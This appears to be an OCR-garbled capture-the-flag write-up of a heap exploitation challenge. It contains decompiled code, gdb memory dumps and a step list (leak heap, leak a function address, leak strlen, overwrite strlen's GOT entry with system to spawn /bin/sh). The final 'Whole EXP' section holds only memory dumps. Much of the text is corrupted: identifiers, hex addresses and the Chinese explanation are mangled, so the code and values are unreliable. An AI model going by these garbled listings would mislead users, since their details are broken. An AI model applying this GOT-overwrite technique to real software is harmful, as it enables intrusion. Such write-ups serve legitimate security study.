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ubd = {int { Ffastcall ==}{ int64))operator new{@x28ulLl};
sub_E2C{vD);

U7 = vi;

#uf = sub_B38;

puts{"Your name:"};

Situn

ul = {_ int64)u?; F7oul
*#( (WORD =){u1 + B8x18) = strlen{&s);

u2 = strlen{&s);

vd = {char =)malloc{vZ};

strepyf{vsd, &s);

u?7[1] = {int { Ffastcall =){ int64))ul;

puts({"H punch?"};

Fﬂgﬁlﬂﬂ 1.___ i
vd = {_ 1nt6h)u?; Ff ud = u?

®{ DUWORD =){v3 + Bx18) = atoi{&s);

u7

3. BB

Vi 5% bk, MEEE got HhhE, MEE strlen ESzHhbE, BEK gotR H strlen BN A system, Ki% /bin/sh\x00 .
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1. leak heap
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2. leak function

0x55c56a558e40:
0x55c56a558e50:
0x55c56a558e60:

PX55C56a558e90
@x55c56a558ea0:

£ 131425 AN TEHIE top chunk #EIR{E HO.

3. leak strien address

P PR T E—F leak function, X—3EHE[E k.

0x0000000000000000
PX000055Co080DdDI0]
0x000000000000001e
A 00000000000000
GELELELELELE LTS
0x6464646404646464
0x0000000000000000

0x00000000000000831
0x0000000000000000
0x0000000000000000
0x0000000000000031

XO030404030530304049
0x000055c56a558g50
OxX00000e0e0ED20161




4. modify strlen@got

P4 BURFHRAE BTG, Lhr ERFEBANRIIEER. B2 punch KAKIEN, BATAT LS AN system ESEHihEK J5 A
LA F I E 4, T ERN B RS A7,

¥x/40gx Ox55c5688befcH
Bx55c5688befcO: Ox00000000000000600
Ox55c5688befdd: Ox0000000000000008
Dx55c5688befed: Ox00007fdeaevabzdo
Bx55c5688beffo: Ox00007Tdeaecb36700
Bx55c5688bf000: Ox0000000000201dde
Bx55c5688bT010: Ox000807Tdeacede870
Bx55c5688bT020: 0x00007fdeae7e0690
Ox55c5688bf030: Ox00087fdeae7f5138

D% 55c5688bf040: 0x00007fdeae7b6390

Ox55c5688bTA50: Bx00007fdeae7dfdgO
Bx55c5688bT060: OxOOAO55c5686bdoce
Bx55c5688bTA70: Ox00007fdeaebceldn
Bx55c5688bT080: OxOOAO55c5688bTOR0
Ox55c5688bTA90: OxP00000000000B000
Bx55c5688bT0af: OxO0A000000A0O0060
Bx55c5688bfAb0o: Ox0000000000000000
Bx55c5688bT0cH: OxO000OH0OMOADOO060
Bx55c5688bTAde: OxP0E000000000B000
Bx55c5688bT0ed: OxOOAO55c56a558c20
Ox55c5688bfaf0: OxPO0055c56a5500f0
print system

53 = {<text variable, no debug info>}

The Whole EXP

0x0000000000000000
Ox0000000000000000
Ox00087fdeaeb3s710
Ox000687fdeaeb36708
Ox00007fdeafBeels8
Ox00087fdeae7c6800
Ox000087fdeae868250
Ox000687fdeae791740

strlen@got2 i fsystem

v g -

Ox00007fdeae8169d0O
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
Ox000055c56a5500T0
0x000055c56a558e90

hx7fdede7ba390
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